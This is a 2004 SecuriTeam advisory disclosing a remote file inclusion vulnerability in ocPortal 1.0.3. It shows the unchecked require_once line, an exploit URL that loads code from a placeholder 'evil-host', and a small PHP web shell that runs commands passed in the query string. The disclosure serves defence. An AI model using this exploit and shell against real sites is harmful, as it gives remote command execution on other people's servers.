[UNIX] ocPortal File Inclusion Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 10/13/04

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Date: 13 Oct 2004 16:34:02 +0200

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      ocPortal File Inclusion Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://ocportal.com> ocPortal is "the leader in community CMS and portal
    software for the web". A file inclusion vulnerability exists in the
    product allowing a remote attacker to insert PHP commands to the page
    being displayed by ocPortal and in addition cause them to execute.

    DETAILS

    Vulnerable Systems:
     * ocPortal version 1.0.3 and prior

    Immune Systems:
     * ocPortal version 2.x.x

    The vulnerability exists in the index.php file because there isn't any
    proper checking of the value provided by the $req_path variable.

    Vulnerable code:
      if (!isset($req_path)) $req_path="";
      require_once($req_path."funcs.php");

    Exploit:
    By accessing the following URL:
    http://localhost/ocp-103/index.php?req_path=http://evil-host/&com=ls and
    placing on the evil-host computer a file named funcs.php containing:

       <?php
         $com = $_GET["com"];
         system ("$com");
       ?>

    Will cause the command 'ls' to execute, and its results to return to the
    user requesting the URL.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:exoduks@gmail.com> Exoduks.

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